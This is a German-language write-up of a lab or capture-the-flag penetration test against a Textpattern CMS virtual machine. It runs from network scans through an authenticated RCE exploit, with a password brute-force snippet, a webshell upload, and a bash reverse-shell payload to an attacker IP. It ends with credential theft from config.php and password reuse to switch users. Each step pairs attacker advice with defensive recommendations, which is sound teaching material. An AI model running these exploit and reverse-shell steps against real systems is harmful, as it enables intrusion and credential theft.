**Analyse:** Die Aufklärungsphase beginnt mit der Identifizierung des Ziels im lokalen Netzwerk und einem ersten Portscan zur Diensterkennung.
192.168.2.130 08:00:27:9a:df:3a PCS Systemtechnik GmbH
**Analyse:** Mit `arp-scan -l` wird das lokale Netzwerksegment durchsucht. Das Zielsystem antwortet unter der IP-Adresse `192.168.2.130`. Die MAC-Adresse `08:00:27:9a:df:3a` (PCS Systemtechnik GmbH) deutet auf eine Oracle VirtualBox-Umgebung hin.
**Bewertung:** Das Ziel wurde erfolgreich im Netzwerk lokalisiert. Die MAC-Adresse gibt einen ersten Hinweis auf die Virtualisierungsplattform.
**Empfehlung (Pentester):** Die identifizierte IP-Adresse `192.168.2.130` für detailliertere Scans verwenden.
**Empfehlung (Admin):** Netzwerksegmentierung erschwert die initiale Host-Entdeckung mittels ARP.
192.168.2.130 kb4.vuln
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet. Der IP-Adresse `192.168.2.130` wird der Hostname `kb4.vuln` zugewiesen. Dies ermöglicht es, das Zielsystem über diesen Namen anzusprechen, was insbesondere bei Webtests wichtig ist, falls Virtual Hosting verwendet wird.
**Bewertung:** Sinnvolle Vorbereitung für die weitere Enumeration, insbesondere des Webservers.
**Empfehlung (Pentester):** Bei Webtests immer prüfen, ob die Anwendung auf einen bestimmten Hostnamen reagiert und die `hosts`-Datei entsprechend anpassen.
**Empfehlung (Admin):** Clientseitige Konfiguration des Angreifers, serverseitig nicht direkt beeinflussbar.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 16:24 CEST
Nmap scan report for kb4.vuln (192.168.2.130)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cd:15:fb:cc:47:de:a3:16:e9:b8:6b:61:7a:25:5a:b7 (RSA)
| 256 82:a5:1b:08:06:12:c0:36:38:e7:53:18:47:ea:3f:f8 (ECDSA)
|_ 256 f4:d9:65:bd:7d:68:03:31:c3:64:06:48:1d:fb:e7:47 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-git:
| 192.168.2.130:80/.git/
| Git repository found!
| .gitignore matched patterns 'bug'
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message:
**Analyse:** Ein umfassender `nmap`-Scan wird durchgeführt: * `-sS`: TCP SYN Scan. * `-sC`: Standard-Skripte. * `-sV`: Versionserkennung. * `-T5`: Sehr schnelles Timing (aggressiv). * `-A`: Aggressiver Scan (OS-Erkennung, Version, Skripte, Traceroute). * `-Pn`: Überspringt die Host-Discovery (Ping-Scan), nimmt an, dass das Ziel online ist. * `-p-`: Scannt alle 65535 TCP-Ports. Ergebnisse: * **Port 22 (SSH):** OpenSSH 7.6p1 auf Ubuntu. * **Port 80 (HTTP):** Apache 2.4.29 auf Ubuntu. * **Wichtiger Fund:** Das Nmap-Skript `http-git` hat ein offen zugängliches `.git`-Verzeichnis im Web-Root (`/.git/`) entdeckt. Es extrahiert Informationen wie den Remote-Link (`https://github.com/textpattern/textpattern.git`), was auf die Verwendung des Textpattern CMS hindeutet. Der Titel der Webseite ist "Hacked!". * Betriebssystem: Linux Kernel 4.15 - 5.8.
**Bewertung:** Der Scan enthüllt eine minimale, aber interessante Angriffsfläche. SSH und HTTP sind die einzigen Dienste. OpenSSH 7.6p1 und Apache 2.4.29 sind nicht brandaktuell, aber auch nicht extrem alt. Der kritischste Fund ist das exponierte `.git`-Verzeichnis. Dies ermöglicht es einem Angreifer potenziell, den gesamten Quellcode der Webanwendung inklusive Historie und möglicherweise sensiblen Informationen (wie Passwörter in älteren Commits) herunterzuladen. Die Verbindung zu Textpattern CMS ist ein wichtiger Hinweis für die weitere Recherche. Der Titel "Hacked!" könnte ein Hinweis des VM-Erstellers sein oder auf eine frühere Kompromittierung hindeuten.
**Empfehlung (Pentester):** Das `.git`-Verzeichnis sofort mit Tools wie `git-dumper` oder `GitTools` herunterladen und analysieren. Den Webserver genauer untersuchen, insbesondere auf Basis der Textpattern-Informationen. Nach bekannten Schwachstellen für die spezifischen Softwareversionen suchen.
**Empfehlung (Admin):** Das `.git`-Verzeichnis *niemals* im Web-Root zugänglich machen! Es sollte serverseitig blockiert werden (z.B. via Apache-Konfiguration oder `.htaccess`). Apache und SSH aktuell halten. Den Titel "Hacked!" überprüfen und ggf. ändern.
**Analyse:** Vertiefte Untersuchung des Webservers auf Port 80 unter Verwendung von `nikto` und `dirb`, wobei die Informationen aus dem `nmap`-Scan (insbesondere das `.git`-Verzeichnis und Textpattern) berücksichtigt werden.
- Nikto v2.5.0
+ Target IP: 192.168.2.130
+ Target Hostname: kb4.vuln
+ Target Port: 80
+ Start Time: 2023-09-26 16:24:39 (GMT2)
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /images/: Directory indexing found.
+ /INSTALL.txt: Default file found.
+ /UPGRADE.txt: Default file found.
+ /LICENSE.txt: License file found may identify site software.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /wp-app.log: Wordpress' wp-app.log may leak application/system details.
+ /wordpress/wp-app.log: Wordpress' wp-app.log may leak application/system details.
+ /sites/: Directory indexing found.
+ /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ /composer.json: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/
+ /composer.lock: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/
+ /package.json: Node.js package file found. It may contain sensitive information.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ /README.md: Readme Found.
+ 7968 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time: 2023-09-26 16:25:15 (GMT2) (36 seconds)
+ 1 host(s) tested
**Analyse:** `nikto` scannt den Webserver `http://kb4.vuln` auf bekannte Schwachstellen und interessante Dateien/Verzeichnisse. Wichtige Ergebnisse: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Bestätigung der veralteten Apache-Version (2.4.29). * Directory Indexing in `/images/` und `/sites/`. * Gefundene Standard-/Informationsdateien: `INSTALL.txt`, `UPGRADE.txt`, `LICENSE.txt`, `/icons/README`, `README.md`. * Potenzielle WordPress-Logdatei `wp-app.log` (könnte ein False Positive sein, da Textpattern verwendet wird). * Bestätigung des `.git`-Verzeichnisses und spezifischer Git-Dateien (`.git/index`, `.git/HEAD`, `.git/config`). * Gefundene PHP Composer (`composer.json`, `composer.lock`) und Node.js (`package.json`) Konfigurationsdateien. * `.gitignore`-Datei gefunden.
**Bewertung:** `nikto` liefert eine Fülle von Informationen. Die fehlenden Header sind moderate Risiken. Die veraltete Apache-Version ist ein potenzielles Risiko. Directory Indexing kann zu Informationslecks führen. Die zahlreichen gefundenen Konfigurations- und Standarddateien (Git, Composer, Node, Textpattern) bestätigen das Vorhandensein dieser Technologien und bieten weitere Ansatzpunkte zur Informationsgewinnung (z.B. verwendete Bibliotheken, Abhängigkeiten, möglicherweise sensible Daten). Der Fund von `INSTALL.txt` und `UPGRADE.txt` könnte auf Installations- oder Update-Skripte hindeuten.
**Empfehlung (Pentester):** Die gefundenen Dateien (`INSTALL.txt`, `LICENSE.txt`, `composer.json`, `package.json`, `.gitignore` etc.) herunterladen und analysieren. Die Verzeichnisse mit Directory Indexing untersuchen. Das `.git`-Verzeichnis wie bereits empfohlen dumpen. Nach Schwachstellen im Zusammenhang mit den erkannten Technologien (Textpattern, Composer, Node.js-Pakete) suchen.
**Empfehlung (Admin):** Sicherheitsheader implementieren. Apache aktualisieren. Directory Indexing deaktivieren. Unnötige Standard-/Konfigurationsdateien aus dem Web-Root entfernen oder den Zugriff darauf sperren. Das `.git`-Verzeichnis absolut unzugänglich machen.
**Analyse:** Der Inhalt der Datei `http://kb4.vuln/INSTALL.txt` wird abgerufen (der Inhalt selbst wird im Berichtstext nicht gezeigt, nur der Aufruf impliziert). Dies geschieht wahrscheinlich aufgrund des `nikto`-Funds.
**Bewertung:** Das Untersuchen von Installations- und Dokumentationsdateien ist eine gute Praxis, da sie manchmal Standard-Zugangsdaten, Konfigurationsdetails oder Hinweise auf die verwendete Softwareversion enthalten können.
**Empfehlung (Pentester):** Den Inhalt von `INSTALL.txt` und anderen gefundenen Textdateien sorgfältig lesen.
**Empfehlung (Admin):** Standard-Installationsdateien nach erfolgreicher Installation vom Server entfernen.
-- DIRB v2.22
By The Dark Raver
--
START_TIME: Tue Sep 26 16:27:33 2023
URL_BASE: http://kb4.vuln/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php,.html,.txt) | (.php)(.html)(.txt) [NUM = 3]
-- GENERATED WORDS: 4612
- Scanning URL: http://kb4.vuln/ -
+ http://kb4.vuln/LICENSE.txt (CODE:200|SIZE:15170)
+ http://kb4.vuln/README.txt (CODE:200|SIZE:1152)
-- END_TIME: Tue Sep 26 16:27:40 2023
DOWNLOADED: 13836 - FOUND: 2
**Analyse:** `dirb` wird verwendet, um nach Dateien mit den Erweiterungen `.php`, `.html` und `.txt` zu suchen, basierend auf der `common.txt`-Wortliste. Dieser spezifische Lauf findet nur die bereits bekannten Dateien `LICENSE.txt` und `README.txt`.
**Bewertung:** Dieser `dirb`-Lauf mit spezifischen Erweiterungen brachte keine neuen Erkenntnisse. Es ist oft effektiver, `dirb` oder `gobuster` zuerst nach Verzeichnissen suchen zu lassen und dann gezielt in interessanten Verzeichnissen nach Dateien zu suchen oder rekursiv zu scannen.
**Empfehlung (Pentester):** `dirb` oder `gobuster` ohne spezifische Dateierweiterungen laufen lassen, um Verzeichnisse zu finden, oder einen rekursiven Scan durchführen.
**Empfehlung (Admin):** Webserver so konfigurieren, dass er keine unnötigen Informationen preisgibt. WAF kann Brute-Force-Scans erkennen/blockieren.
# --- Gekürzte Ausgabe ---
- Scanning URL: http://kb4.vuln/ -
+ http://kb4.vuln/.git/HEAD (CODE:200|SIZE:20)
> DIRECTORY: http://kb4.vuln/files/
> DIRECTORY: http://kb4.vuln/images/
> DIRECTORY: http://kb4.vuln/rpc/
+ http://kb4.vuln/server-status (CODE:403|SIZE:273)
> DIRECTORY: http://kb4.vuln/sites/
> DIRECTORY: http://kb4.vuln/textpattern/
> DIRECTORY: http://kb4.vuln/themes/
- Entering directory: http://kb4.vuln/textpattern/ -
> DIRECTORY: http://kb4.vuln/textpattern/include/
+ http://kb4.vuln/textpattern/index.php (CODE:200|SIZE:4563)
> DIRECTORY: http://kb4.vuln/textpattern/lang/
> DIRECTORY: http://kb4.vuln/textpattern/lib/
> DIRECTORY: http://kb4.vuln/textpattern/plugins/
> DIRECTORY: http://kb4.vuln/textpattern/publish/
> DIRECTORY: http://kb4.vuln/textpattern/setup/
> DIRECTORY: http://kb4.vuln/textpattern/tmp/
> DIRECTORY: http://kb4.vuln/textpattern/update/
> DIRECTORY: http://kb4.vuln/textpattern/vendors/
- Entering directory: http://kb4.vuln/textpattern/setup/ -
> DIRECTORY: http://kb4.vuln/textpattern/setup/articles/
> DIRECTORY: http://kb4.vuln/textpattern/setup/data/
+ http://kb4.vuln/textpattern/setup/index.php (CODE:200|SIZE:3564)
> DIRECTORY: http://kb4.vuln/textpattern/setup/lang/
> DIRECTORY: http://kb4.vuln/textpattern/setup/themes/
# --- Weitere rekursive Scans ---
-- END_TIME: Tue Sep 26 17:35:01 2023
DOWNLOADED: 119912 - FOUND: 9
**Analyse:** Ein weiterer `dirb`-Lauf, diesmal ohne spezifische Erweiterungen, was dazu führt, dass `dirb` standardmäßig rekursiv nach Verzeichnissen sucht. Wichtige Funde: * Bestätigt erneut das `.git`-Verzeichnis. * Findet mehrere Verzeichnisse wie `/files/`, `/images/`, `/rpc/`, `/sites/`, `/themes/`. * Findet das Hauptverzeichnis der Textpattern-Installation: `/textpattern/`. * Innerhalb von `/textpattern/` werden zahlreiche Unterverzeichnisse gefunden, darunter `/textpattern/setup/` mit einer `index.php`. * Der Apache `server-status` ist vorhanden, aber nicht zugänglich (Status 403 Forbidden).
**Bewertung:** Dieser `dirb`-Scan liefert eine detaillierte Struktur der Webanwendung, insbesondere der Textpattern-Installation. Das Verzeichnis `/textpattern/` und insbesondere `/textpattern/setup/` sind Hauptziele für weitere Untersuchungen. Die Existenz von `/rpc/` könnte auf XML-RPC oder ähnliche Schnittstellen hindeuten.
**Empfehlung (Pentester):** Das Verzeichnis `/textpattern/` und seine Unterverzeichnisse, insbesondere `setup/index.php`, genauer untersuchen. Nach bekannten Schwachstellen in Textpattern suchen (Version muss noch ermittelt werden, eventuell aus dem `.git`-Repo oder `LICENSE.txt`). `/rpc/` auf bekannte Schnittstellen prüfen.
**Empfehlung (Admin):** Nicht benötigte Verzeichnisse (wie `/textpattern/setup/` nach der Installation) entfernen oder den Zugriff darauf sperren. `server-status` sollte nur für vertrauenswürdige IPs zugänglich sein oder ganz deaktiviert werden.
**Analyse:** Manuelle Untersuchung oder gezielte Suche führt zur Identifizierung der Textpattern-Admin-Login-Seite und möglichen Zugangsdaten.
# Fund: Textpattern Login und Credentials
http://kb4.vuln/textpattern/index.php?event=admin
admin
ezbircime2020
**Bewertung:** Die URL `/textpattern/index.php?event=admin` führt offenbar zum Admin-Login von Textpattern. Es wurden die Zugangsdaten `admin` mit dem Passwort `ezbircime2020` gefunden (Quelle unklar, evtl. aus dem `.git`-Dump oder einer anderen gefundenen Datei). Diese Zugangsdaten sind der Schlüssel zum nächsten Schritt.
**Empfehlung (Pentester):** Mit den gefundenen Zugangsdaten (`admin:ezbircime2020`) beim Textpattern-Admin-Interface anmelden und nach Schwachstellen oder Möglichkeiten zur Codeausführung suchen (z.B. Plugin-Upload, Template-Bearbeitung).
**Empfehlung (Admin):** Starke, einzigartige Passwörter verwenden. Standard-Zugangsdaten ändern. CMS und Plugins aktuell halten.
**Analyse:** Es wird ein Python-Skript (vermutlich `50095.py` von Exploit-DB) vorbereitet oder zitiert, das eine bekannte Schwachstelle in Textpattern CMS (CVE-2021-41378, Authenticated RCE) ausnutzt. Das Skript verwendet Selenium zur Browser-Automatisierung, um sich anzumelden und eine Webshell hochzuladen. Es scheint auch eine Brute-Force-Komponente für das Passwort zu enthalten (`authorization(_pass)` Funktion mit `passwords.txt`).
# Vorbereitung/Analyse des Exploits python3 50095.py
# Beachte: Das Skript im Bericht verwendet --password ezbircime2021,
# während zuvor ezbircime2020 gefunden wurde.
# Auszug aus dem Exploit-Konzept (nicht der vollständige Code)
python3 50095.py --url http://192.168.2.130/textpattern/index.php --user admin --password ezbircime2021
# Code-Snippet aus dem Exploit (zur Veranschaulichung der Brute-Force Idee)
from selenium import webdriver
# ...
_url = 'http:/192.168.2.130/textpattern/index.php'
driver = webdriver.Firefox(executable_path=r'/home/kali/Lab/geckodriver')
# ...
def authorization(_pass):
driver.find_element_by_id('login_name').send_keys('admin')
driver.find_element_by_id('login_password').clear()
driver.find_element_by_id('login_password').send_keys("ezbircime"+str(_pass)) # Baut Passwort zusammen
# ... Login versuchen ...
# ...
file = open('passwords.txt', 'r').read().splitlines()
for item in file:
if authorization(item) == 1: # Korrigierter Vergleich
print('[+] Password found: '+ 'ezbircime' + item)
break
**Bewertung:** Der Exploit für Textpattern CMS 4.8.1 (und potenziell andere Versionen) scheint passend zu sein. Er ermöglicht nach erfolgreicher Authentifizierung das Hochladen einer Webshell und damit Remote Code Execution. Die Diskrepanz beim Passwort (`ezbircime2020` vs. `ezbircime2021`) ist bemerkenswert – möglicherweise war `2020` das ursprüngliche Passwort und wurde geändert, oder es gab einen Tippfehler beim Finden oder bei der Exploit-Ausführung. Der Exploit selbst scheint `ezbircime2021` als korrektes Passwort zu benötigen/verwenden. Die Brute-Force-Komponente im zitierten Code-Auszug ist interessant, aber im eigentlichen Exploit-Aufruf wird ein festes Passwort übergeben.
**Empfehlung (Pentester):** Den Exploit `50095.py` mit den korrekten Zugangsdaten (vermutlich `admin:ezbircime2021`) ausführen. Sicherstellen, dass `geckodriver` und die benötigten Python-Bibliotheken (Selenium) installiert sind.
**Empfehlung (Admin):** Textpattern CMS dringend auf die neueste, gepatchte Version aktualisieren. Admin-Passwort ändern. Überwachen von Datei-Uploads und verdächtigen PHP-Ausführungen.
**Analyse:** Ausführung des Textpattern-Exploits (50095.py), um eine Webshell hochzuladen und initialen Zugriff als `www-data` zu erlangen.
[+] Login successful , your cookie : admin%2C50671d17a56523baa3d34148dd14b2bc
[+] Getting token
[+] Shell uploaded
[+] Webshell url : http://192.168.2.130/textpattern/index.php/textpattern/tmp/kacvsgqgpf.php
[+] Bye
**Analyse:** Der Exploit `50095.py` wird mit der Ziel-URL, dem Benutzernamen `admin` und dem Passwort `ezbircime2021` ausgeführt. Der Exploit meldet Erfolg: Login erfolgreich, CSRF-Token erhalten, Shell hochgeladen. Er gibt die URL zur hochgeladenen Webshell an: `http://192.168.2.130/textpattern/index.php/textpattern/tmp/kacvsgqgpf.php`. (Hinweis: Der Pfad `/index.php/textpattern/tmp/` ist etwas ungewöhnlich, oft ist es direkt `/textpattern/tmp/`).
**Bewertung:** Der Exploit war erfolgreich! Eine Webshell wurde auf dem Server platziert. Der nächste Schritt ist, über diese Webshell eine interaktive Reverse Shell zu bekommen. Die Verwendung des Passworts `ezbircime2021` hat funktioniert.
**Empfehlung (Pentester):** Einen Netcat-Listener starten. Die Webshell über die angegebene URL aufrufen und einen Reverse-Shell-Payload übergeben (z.B. via `cmd`-Parameter).
**Empfehlung (Admin):** Textpattern patchen/updaten. Die hochgeladene Shell (`kacvsgqgpf.php`) und den Exploit-Benutzer (`admin`) untersuchen und bereinigen. Dateisystem-Monitoring auf verdächtige PHP-Dateien in Upload-/Temp-Verzeichnissen.
listening on [any] 9999 ...
# Verbindung kommt nach Ausführung des Payloads rein
connect to [192.168.2.199] from (UNKNWN) [192.168.2.130] 45910
bash: cannot set terminal process group (979): Inappropriate ioctl for device
bash: no job control in this shell
www-data@kb-server:/var/www/html/textpattern/textpattern/tmp$
**Analyse:** Ein Netcat-Listener wird auf dem Angreifer-PC auf Port 9999 gestartet. Anschließend wird (implizit durch den nächsten Log-Eintrag) ein Payload über die Webshell ausgeführt, der eine Verbindung zu diesem Listener herstellt. Die Verbindung kommt erfolgreich an, und eine Shell als Benutzer `www-data` wird im Verzeichnis `/var/www/html/textpattern/textpattern/tmp` geöffnet. Die üblichen Meldungen bezüglich fehlendem TTY erscheinen.
# Verwendeter Payload (ausgeführt über die Webshell)
Payload = http://192.168.2.130/textpattern/tmp/rjvhrhrlwt.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9999%200%3E%261%27
**Analyse:** Dieser Logeintrag zeigt den spezifischen Payload, der verwendet wurde, um die Reverse Shell auszulösen. Er wurde an einen `cmd`-Parameter einer PHP-Datei im `/textpattern/tmp`-Verzeichnis gesendet (der Dateiname `rjvhrhrlwt.php` weicht von dem vom Exploit gemeldeten `kacvsgqgpf.php` ab, möglicherweise ein anderer Versuch oder ein Tippfehler im Log). Der Payload selbst ist ein Standard-Bash-Reverse-Shell: `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/9999 0>&1'`. Er startet eine interaktive Bash-Shell und leitet deren Ein- und Ausgabe über eine TCP-Verbindung zum Angreifer (192.168.2.199) auf Port 9999 um.
**Bewertung:** Initialer Zugriff als `www-data` erfolgreich etabliert mittels RCE über die Textpattern-Schwachstelle und einer Bash-Reverse-Shell.
**Empfehlung (Pentester):** Die erhaltene Shell stabilisieren (Python PTY, etc.). Mit der Enumeration als `www-data` beginnen, um Wege zur Rechteausweitung zu finden.
**Empfehlung (Admin):** Textpattern patchen. Egress-Filtering implementieren. Monitoring auf verdächtige Prozesse und Netzwerkverbindungen.
**Analyse:** Nach dem Erhalt der Shell als `www-data` wird das System weiter untersucht, um höhere Rechte zu erlangen. Ziel ist es, zunächst zum Benutzer `machineboy` und dann zu `root` zu eskalieren.
# Gekürzte Ausgabe, wichtige Funde hervorgehoben
655428 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
655385 44 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /bin/mount
655479 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
655397 28 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /bin/umount
655495 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
267687 12 -rwsr-sr-x 1 root root 9912 Jan 24 2021 /home/machineboy/install
735 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
699 40 -rwsr-xr-x 1 root root 37136 Mar 22 2019 /usr/bin/newuidmap
# ... (weitere Standard SUIDs wie newgrp, gpasswd, sudo, at, chfn, passwd, chsh, newgidmap, traceroute6) ...
1061 44 -rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
# ... (weitere SUIDs in /usr/lib) ...
**Analyse:** Die Suche nach SUID-Dateien wird erneut durchgeführt, diesmal als `www-data`. Die Liste enthält viele Standard-Binaries. Besonders interessant ist `/home/machineboy/install`, eine benutzerdefinierte SUID-Datei im Home-Verzeichnis von `machineboy`. Außerdem sind `pkexec` und `sudo` vorhanden, klassische Ziele für Privilege Escalation.
**Bewertung:** Benutzerdefinierte SUID-Dateien wie `/home/machineboy/install` sind oft ein guter Ansatzpunkt, da sie möglicherweise unsicher implementiert sind. `pkexec` ist wegen Pwnkit (CVE-2021-4034) verdächtig. `sudo` sollte mit `sudo -l` geprüft werden (obwohl dies wahrscheinlich fehlschlägt, da `www-data` selten `sudo`-Rechte hat).
**Empfehlung (Pentester):** Die Datei `/home/machineboy/install` analysieren (z.B. mit `strings`, `ltrace`, `strace` oder einem Decompiler), um ihre Funktion zu verstehen und potenzielle Schwachstellen (z.B. Command Injection, unsichere Pfadverwendung) zu finden. `pkexec` und `sudo` als Backup-Optionen im Auge behalten.
**Empfehlung (Admin):** Benutzerdefinierte SUID-Programme vermeiden oder extrem sorgfältig prüfen und absichern. Die Anzahl der SUID-Binaries generell minimieren.
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 []:22 []:*
**Analyse:** Der Befehl `ss -altpn` listet lauschende (`LISTEN`) TCP-Sockets (`-t`) mit Prozessinformationen (`-p`) und ohne Namensauflösung (`-n`) auf. Die Ausgabe zeigt: * Port 3306 (MySQL/MariaDB) lauscht nur auf der Loopback-Adresse `127.0.0.1`. * Port 53 (DNS) lauscht auf `127.0.0.53` (typisch für systemd-resolved). * Port 22 (SSH) lauscht auf allen IPv4- (`0.0.0.0`) und IPv6- (`[]`) Adressen. * Port 80 (HTTP) lauscht auf allen IPv4-Adressen (`*`).
**Bewertung:** Bestätigt die von `nmap` gefundenen Dienste SSH und HTTP. Zeigt zusätzlich einen lokal laufenden MySQL-Dienst, der von außen nicht direkt erreichbar ist. Dieser lokale MySQL-Dienst könnte von der Webanwendung (Textpattern) genutzt werden und Zugangsdaten enthalten.
**Empfehlung (Pentester):** Nach Konfigurationsdateien der Webanwendung suchen (insbesondere Textpattern), um die Zugangsdaten für die lokale MySQL-Datenbank zu finden.
**Empfehlung (Admin):** Datenbanken sollten idealerweise nur auf der Loopback-Adresse lauschen, wenn nur lokale Anwendungen darauf zugreifen müssen. Dies ist hier korrekt konfiguriert.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# ... (Standard-Systembenutzer) ...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# ... (weitere Systembenutzer) ...
machineboy:x:1000:1000:FINAL-MACHINE:/home/machineboy:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
root:x:0:0:root:/root:/bin/bash
machineboy:x:1000:1000:FINAL-MACHINE:/home/machineboy:/bin/bash
**Analyse:** Die Datei `/etc/passwd` wird ausgegeben und anschließend mit `grep bash` gefiltert, um Benutzer mit einer Bash-Login-Shell zu identifizieren. Dies sind `root` und `machineboy`.
**Bewertung:** Bestätigt `machineboy` als den einzigen regulären Benutzer mit Login-Shell neben `root`. Dies macht `machineboy` zum primären Ziel für die erste Stufe der Privilege Escalation.
**Empfehlung (Pentester):** Gezielt nach Zugangsdaten oder Schwachstellen suchen, die einen Wechsel zum Benutzer `machineboy` ermöglichen.
**Empfehlung (Admin):** Die Anzahl der Benutzer mit Login-Shells auf das notwendige Minimum beschränken.
cat: config: No such file or directory
ghostroot510';
$txpcfg['host'] = 'localhost';
$txpcfg['table_prefix'] = '';
$txpcfg['txpath'] = '/var/www/html/textpattern/textpattern';
$txpcfg['dbcharset'] = 'utf8mb4';
?> // Hinzugefügt zur Lesbarkeit
**Analyse:** Im Textpattern-Verzeichnis (`/var/www/html/textpattern/textpattern/`) wird nach Konfigurationsdateien gesucht. `config` existiert nicht, aber `config.php` wird gefunden und ihr Inhalt angezeigt. Diese Datei enthält die Zugangsdaten für die MySQL-Datenbank: * Datenbank: `textpattern` * Benutzer: `textuser` * Passwort: `ghostroot510` * Host: `localhost` (bestätigt den lokalen Zugriff)
**Bewertung:** Wichtiger Fund! Klartext-Passwörter in Konfigurationsdateien sind eine häufige Schwachstelle. Diese Zugangsdaten erlauben den Zugriff auf die Textpattern-Datenbank. Es besteht die Möglichkeit, dass dieses Passwort auch für andere Benutzer (wie `machineboy`) wiederverwendet wurde.
**Empfehlung (Pentester):** Mit den gefundenen Credentials (`textuser:ghostroot510`) versuchen, sich bei der lokalen MySQL-Datenbank anzumelden. Das Passwort `ghostroot510` auch für den Benutzer `machineboy` testen (z.B. via `su` oder SSH).
**Empfehlung (Admin):** Datenbank-Passwörter nicht im Klartext speichern. Sicherere Methoden wie Umgebungsvariablen oder verschlüsselte Konfigurationsdateien verwenden. Passwort-Wiederverwendung vermeiden. Dateiberechtigungen für Konfigurationsdateien restriktiv setzen (obwohl `www-data` sie hier lesen können muss).
Enter password: ghostroot510 # Eingabe nicht sichtbar, hier zur Verdeutlichung Welcome to the MySQL monitor. ... Server version: 5.7.32-0ubuntu0.18.04.1 (Ubuntu) ... mysql> use textpattern; Database changed mysql> show tables; +-------------------------+ | Tables_in_textpattern | +-------------------------+ | textpattern | | txp_category | | txp_css | | txp_discuss | | txp_discuss_nonce | | txp_file | | txp_form | | txp_image | | txp_lang | | txp_link | | txp_log | | txp_page | | txp_plugin | | txp_prefs | | txp_section | | txp_skin | | txp_token | | txp_users | +-------------------------+ 18 rows in set (0.00 sec) mysql> select * from txp_users; +---------+-------+------------------------------------------------------------+------------+---------------------+-------+---------------------+----------------------------------+ | user_id | name | pass | RealName | email | privs | last_access | nonce | +---------+-------+------------------------------------------------------------+------------+---------------------+-------+---------------------+----------------------------------+ | 1 | admin | $2y$10$Kxyc9/hpA.BBxPk11f64ye0xkLWUe437Pxz4L9bRaIHRZzmTa/Gq. | text admin | omer@kernelblog.org | 1 | 2023-09-26 16:04:21 | 418661834265c4f709bd4f543b775af0 | +---------+-------+------------------------------------------------------------+------------+---------------------+-------+---------------------+----------------------------------+ 1 row in set (0.00 sec)
**Analyse:** Der MySQL-Client wird verwendet, um sich mit dem Passwort `ghostroot510` als Benutzer `textuser` bei der lokalen Datenbank anzumelden. Der Login ist erfolgreich. Die Datenbank `textpattern` wird ausgewählt und die Tabellen aufgelistet. Anschließend wird der Inhalt der Tabelle `txp_users` abgefragt. Sie enthält einen Benutzer `admin` (vermutlich der Textpattern-Admin) mit einem Passwort-Hash (`$2y$10$...` deutet auf bcrypt hin).
**Bewertung:** Der Zugriff auf die Datenbank war erfolgreich. Der gefundene Hash für den Textpattern-Admin ist wahrscheinlich schwer zu knacken. Wichtiger ist jedoch das Passwort `ghostroot510` selbst, das nun als potenzielles Passwort für den Systembenutzer `machineboy` getestet werden kann.
**Empfehlung (Pentester):** Den MySQL-Client verlassen (`exit`). Das Passwort `ghostroot510` mit `su machineboy` testen.
**Empfehlung (Admin):** Einzigartige, starke Passwörter für Datenbankbenutzer verwenden. Diese Passwörter nicht für Systembenutzer wiederverwenden. Zugriff auf die Datenbank nur für die benötigten Benutzer/Anwendungen erlauben.
Password: ghostroot510 # Eingabe nicht sichtbar
**Analyse:** Der Befehl `su machineboy` wird ausgeführt, um zum Benutzer `machineboy` zu wechseln. Das zuvor aus der `config.php` extrahierte Datenbankpasswort `ghostroot510` wird eingegeben. Der Befehl ist erfolgreich, erkennbar am Wechsel des Shell-Prompts zu `machineboy@kb-server:...`.
**Bewertung:** Erfolg! Die Passwort-Wiederverwendung (Datenbankpasswort = Systembenutzerpasswort) hat funktioniert. Wir haben nun eine Shell als Benutzer `machineboy`. Dies ist ein wichtiger Schritt in der Privilege Escalation.
